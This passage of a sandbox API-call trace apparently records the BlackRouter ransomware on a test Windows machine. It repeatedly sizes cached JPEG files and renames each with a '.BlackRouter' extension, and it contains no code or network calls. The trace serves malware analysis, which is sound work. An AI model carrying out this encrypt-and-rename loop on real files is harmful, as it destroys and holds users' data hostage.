hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x29c3 [0067.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e28590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e28590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xceba0050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x29d0)) returned 1 [0067.472] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg.blackrouter")) returned 1 [0067.474] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xa7b [0067.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e9a9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e9a9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcebc61b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa80)) returned 1 [0067.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg.blackrouter")) returned 1 [0067.486] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x17af [0067.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5127c5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5127c5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcebec310, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17b0)) returned 1 [0067.494] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg.blackrouter")) returned 1 [0067.495] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xaf3 [0067.503] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fa5350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fa5350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcebec310, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb00)) returned 1 [0067.503] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg.blackrouter")) returned 1 [0067.504] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x350a [0067.511] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459f9950, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459f9950, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcec12470, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3510)) returned 1 [0067.511] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg.blackrouter")) returned 1 [0067.512] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x68c [0067.524] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4593b270, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4593b270, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcec385d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x690)) returned 1 [0067.524] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg.blackrouter")) returned 1 [0067.525] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2d04 [0067.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a6bd70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a6bd70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcec5e730, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2d10)) returned 1 [0067.539] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg.blackrouter")) returned 1 [0067.540] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x863 [0067.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458c8e50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458c8e50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcec5e730, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x870)) returned 1 [0067.553] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg.blackrouter")) returned 1 [0067.554] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1c9b [0067.564] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ade190, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ade190, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcec84890, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0)) returned 1 [0067.564] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg.blackrouter")) returned 1 [0067.565] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x702 [0067.579] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a45c10, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a45c10, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcecaa9f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x710)) returned 1 [0067.579] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg.blackrouter")) returned 1 [0067.580] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xaca8 [0067.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50ebbff0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50ebbff0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcecd0b50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xacb0)) returned 1 [0067.590] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg.blackrouter")) returned 1 [0067.591] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x755 [0067.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458a2cf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458a2cf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcecd0b50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0067.597] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg.blackrouter")) returned 1 [0067.598] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1c72 [0067.621] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457e4610, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457e4610, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xced1ce10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1c80)) returned 1 [0067.621] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg.blackrouter")) returned 1 [0067.622] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xa23 [0067.632] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe399c90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe399c90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xced42f70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa30)) returned 1 [0067.632] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg.blackrouter")) returned 1 [0067.633] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1ca7 [0067.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe4ca790, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe4ca790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xced42f70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1cb0)) returned 1 [0067.637] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg.blackrouter")) returned 1 [0067.641] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x9ef [0067.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe34d9d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe34d9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xced42f70, 